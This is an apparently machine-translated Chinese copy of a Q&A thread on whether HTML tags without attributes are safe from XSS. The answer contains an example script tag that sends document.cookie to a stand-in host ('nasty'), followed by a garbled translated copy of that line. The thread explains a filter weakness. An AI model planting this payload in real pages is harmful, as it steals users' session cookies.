Fatal编程技术网
  • validation/
  • Validation 无属性HTML标记的XSS安全性

Validation 无属性HTML标记的XSS安全性

validation input security

Validation 无属性HTML标记的XSS安全性,validation,input,xss,security,Validation,Input,Xss,Security,如果HTML标记没有属性，它们是否安全？否 <ScrIPT>(new Image).src = 'http://nasty/log?s=' + document.cookie;</SCRipT> （新图像）。src=http://nasty/log?s='+document.cookie； 那么，在大多数浏览器中，它们也可以在没有属性的情况下工作。或者，如果他们不关闭某个特定的标签，它也会弄乱页面。。只需打开一个或其他东西，一切都以粗体为例。我的立场是。。。你将如何检测

如果HTML标记没有属性，它们是否安全？

否

<ScrIPT>(new Image).src = 'http://nasty/log?s=' + document.cookie;</SCRipT>

（新图像）。src=http://nasty/log?s='+document.cookie；
那么，在大多数浏览器中，它们也可以在没有属性的情况下工作。或者，如果他们不关闭某个特定的标签，它也会弄乱页面。。只需打开一个或其他东西，一切都以粗体为例。

我的立场是。。。你将如何检测它们没有属性？可以生成在浏览器中执行Javascript的特殊HTML代码，并绕过过滤器检查属性

请看一下本演示文稿

不管怎样，如果你想要一个肯定/否定的答案，我的答案是否定的：）

这是一个很好的观点。任何其他的标签，除了，我应该注意？img src中的脚本是一些只在IE6上工作的东西。它也是一个属性。但是标题/问题说：没有属性；）优点很好，但最后一点很容易克服。如果每个注释都在
div
中，那么关闭
div
将自动关闭
strong
，因此页面的其余部分不受影响。好吧，
strong
只是一个例子。如果你提前关闭
或者别的什么，如果你可以发布没有属性的html标签，那么事情就不难搞糟了。